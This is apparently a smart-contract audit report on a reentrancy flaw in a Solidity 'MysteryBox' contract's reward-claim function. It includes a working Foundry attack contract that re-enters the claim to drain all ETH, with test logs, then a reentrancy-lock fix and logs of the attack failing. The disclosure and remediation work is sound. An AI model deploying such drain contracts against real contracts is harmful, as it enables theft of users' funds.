Summary
The 'claimSingleReward' function use 'call' ,This function will execute attack contract fallback function,So contract could be lost all asset.
Vulnerability Details
Below code in 'claimSingleReward' function will call attack contract fallback, attack contract can successfully recall 'claimSingleReward' function. The 'claimSingleReward' function can be execute many times until asset is empty.
(bool success,) = payable(msg.sender).call{value: value}("");
Impact
proof of concepts
contract MysteryBoxAttack is Test {
MysteryBox mysteryBox;
address user3 = address(0x2f);
constructor(address _mysteryBox) {
mysteryBox = MysteryBox(_mysteryBox);
}
function Attack() public {
console.log("Attack contract balance", address(this).balance);
mysteryBox.claimSingleReward(0);
console.log("Attack contract balance", address(this).balance);
console.log("MysteryBox balance", address(mysteryBox).balance);
}
receive() external payable {
console.log("Attack contract balance ", address(this).balance);
console.log("MysteryBox balance", address(mysteryBox).balance);
if (address(mysteryBox).balance >= 0.1 ether) {
mysteryBox.claimSingleReward(0);
}
}
}
contract ContractTest is Test {
MysteryBox mysteryBox;
MysteryBoxAttack attack;
address user1 = address(0x1);
address user3 = address(0x2f);
address user4 = address(0x4);
function setUp() public {
mysteryBox = new MysteryBox();
attack = new MysteryBoxAttack(address(mysteryBox));
vm.deal(user1, 1 ether);
vm.startPrank(user1);
mysteryBox.buyBox{value: 0.1 ether}();
vm.stopPrank();
vm.deal(user4, 1 ether);
vm.startPrank(user4);
mysteryBox.buyBox{value: 0.1 ether}();
vm.stopPrank();
vm.deal(user3, 1 ether);
vm.startPrank(user3);
mysteryBox.buyBox{value: 0.1 ether}();
console.log("User Buy box");
console.log(
"After buy box, MysteryBox balance",
address(mysteryBox).balance
);
mysteryBox.openBox();
console.log("User Open box");
assertEq(mysteryBox.boxesOwned(user3), 0);
MysteryBox.Reward[] memory rewards = mysteryBox.getRewards();
console.log("User rewards name:",rewards[0].name);
console.log("User rewards value:",rewards[0].value);
mysteryBox.transferReward(address(attack),0);
console.log("User reward transfer to attack contract");
vm.stopPrank();
}
function testReentrancy() public {
attack.Attack();
}
}
forge test --match-test testReentrancy -vvv
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/TestMysteryBox.t.sol:ContractTest
[PASS] testReentrancy() (gas: 50084)
Logs:
User Buy box
After buy box, MysteryBox balance 300000000000000000
User Open box
User rewards name: Bronze Coin
User rewards value: 100000000000000000
User reward transfer to attack contract
Attack contract balance 0
Attack contract balance 100000000000000000
MysteryBox balance 200000000000000000
Attack contract balance 200000000000000000
MysteryBox balance 100000000000000000
Attack contract balance 300000000000000000
MysteryBox balance 0
Attack contract balance 300000000000000000
MysteryBox balance 0
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.88ms (687.17µs CPU time)
Ran 1 test suite in 202.13ms (7.88ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Tools Used
Manual reviews
Recommendations
Add reentrancy lock.
contract MysteryBox {
address public owner;
uint256 public boxPrice;
mapping(address => uint256) public boxesOwned;
mapping(address => Reward[]) public rewardsOwned;
Reward[] public rewardPool;
uint256 public constant SEEDVALUE = 0.1 ether;
struct Reward {
string name;
uint256 value;
}
+ bool internal locked;
+ modifier nonReentrant() {
+ require(!locked, "No re-entrancy");
+ locked = true;
+ _;
+ locked = false;
+ }
...
- function claimSingleReward(uint256 _index) public {
+ function claimSingleReward(uint256 _index) nonReentrant public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
delete rewardsOwned[msg.sender][_index];
}
...
}
After add reentrant lock,the log is below:
forge test --match-test testReentrancy -vvv
[⠊] Compiling...
[⠘] Compiling 2 files with Solc 0.8.21
[⠃] Solc 0.8.21 finished in 1.78s
Compiler run successful!
Ran 1 test for test/TestMysteryBox.t.sol:ContractTest
[FAIL. Reason: revert: Transfer failed] testReentrancy() (gas: 50991)
Logs:
User Buy box
After buy box, MysteryBox balance 300000000000000000
User Open box
User rewards name: Bronze Coin
User rewards value: 100000000000000000
User reward transfer to attack contract
Attack contract balance 0
Attack contract balance 100000000000000000
MysteryBox balance 200000000000000000
Traces:
[50991] ContractTest::testReentrancy()
├─ [45772] MysteryBoxAttack::Attack()
│ ├─ [0] console::log("Attack contract balance", 0) [staticcall]
│ │ └─ ← [Stop]
│ ├─ [37340] MysteryBox::claimSingleReward(0)
│ │ ├─ [3045] MysteryBoxAttack::receive{value: 100000000000000000}()
│ │ │ ├─ [0] console::log("Attack contract balance ", 100000000000000000 [1e17]) [staticcall]
│ │ │ │ └─ ← [Stop]
│ │ │ ├─ [0] console::log("MysteryBox balance", 200000000000000000 [2e17]) [staticcall]
│ │ │ │ └─ ← [Stop]
│ │ │ ├─ [548] MysteryBox::claimSingleReward(0)
│ │ │ │ └─ ← [Revert] revert: No re-entrancy
│ │ │ └─ ← [Revert] revert: No re-entrancy
│ │ └─ ← [Revert] revert: Transfer failed
│ └─ ← [Revert] revert: Transfer failed
└─ ← [Revert] revert: Transfer failed
Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 7.87ms (681.42µs CPU time)
Ran 1 test suite in 195.51ms (7.87ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
Failing tests:
Encountered 1 failing test in test/TestMysteryBox.t.sol:ContractTest
[FAIL. Reason: revert: Transfer failed] testReentrancy() (gas: 50991)
